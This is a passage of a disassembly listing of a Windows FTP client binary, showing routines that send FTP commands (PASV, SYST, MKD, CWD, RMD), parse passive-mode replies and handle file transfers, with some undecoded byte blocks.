eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 4684D75h, 0E8004474h, 7780841Ah, 4C48390h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473F468h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh, 0E8004475h dd 77808336h, 4C48390h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 4474F868h, 0EEE85200h, 9077810Dh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473EC68h dd 8268E800h, 83907780h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h dd 75144689h, 73EC682Ch, 27E80044h, 90778082h, 5704C483h dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j call near ptr 77C1F2BCh nop mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0AC685752h, 0E8004475h dd 77812622h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447670 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi call near ptr 77C47660h nop add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476B0 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call near ptr 77C47A90h nop add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474B8 push ecx call edi mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476BC push eax call edi push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476B4 push esi call near ptr 77C41B72h nop add 